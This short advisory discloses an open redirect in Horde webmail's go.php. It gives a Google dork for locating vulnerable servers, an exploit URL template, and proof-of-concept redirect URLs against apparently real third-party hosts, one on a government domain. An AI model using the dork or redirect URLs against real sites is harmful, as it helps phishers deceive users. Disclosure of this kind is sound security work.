[+] Horde webmail - Open Redirect Vulnerability [+] Date: 31/03/2014 [+] Risk: Low [+] Remote: Yes [+] Author: Felipe Andrian Peixoto [+] Vendor Homepage: http://www.horde.org/apps/webmail [+] Contact: felipe_andrian@hotmail.com [+] Tested on: Windows 7 and Linux [+] Vulnerable File: go.php [+] Dork: inurl:horde/util/go.php? [+] Version: 5.1 probably other versions too [+] Exploit : http://host/horde/util/go.php?url=[ Open Redirect Vul ] [+] PoC: http://webmail.pXmf.sc.gov.br/horde/util/go.php?url=http://www.horde.org/apps/webmail http://www.imp.polXymtl.ca/horde/util/go.php?url=http://www.horde.org/apps/webmail Note : An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. Reference :https://www.owasp.org/index.php/Open_redirect